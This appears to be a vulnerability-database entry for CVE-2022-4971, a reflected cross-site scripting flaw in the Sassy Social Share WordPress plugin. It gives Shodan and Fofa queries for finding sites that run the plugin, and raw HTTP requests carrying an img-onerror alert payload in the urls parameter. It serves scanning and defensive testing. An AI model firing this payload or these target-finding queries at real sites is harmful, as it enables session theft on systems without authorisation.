| Title | Sassy Social Share <= 3.3.3 - Cross-Site Scripting |
|---|---|
| Author | popcorn94 |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the urls parameter in the sharing count AJAX action, potentially stealing WordPress user sessions and performing actions on behalf of authenticated users. |
| Remediation | Update Sassy Social Share plugin to a version newer than 3.3.3 that properly sanitizes the urls parameter and encodes output in the AJAX action. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06718 |
| CVE ID | CVE-2022-4971 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/wp-content/plugins/sassy-social-share" |
| Fofa Query | body=/wp-content/plugins/sassy-social-share/ |
| Tags | wpscan cve cve2022 wordpress wp-plugin wp sassy-social-share xss authenticated vkev vuln |
The Sassy Social Share plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘urls’ parameter called via the ‘heateor_sss_sharing_count’ AJAX action in versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=hh3csc&pwd=YFpx5c&wp-submit=Log+In
GET /wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[<img%20src%3dx%20onerror%3dalert(document.domain)>] HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4971.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4971.pcap
N/AN/A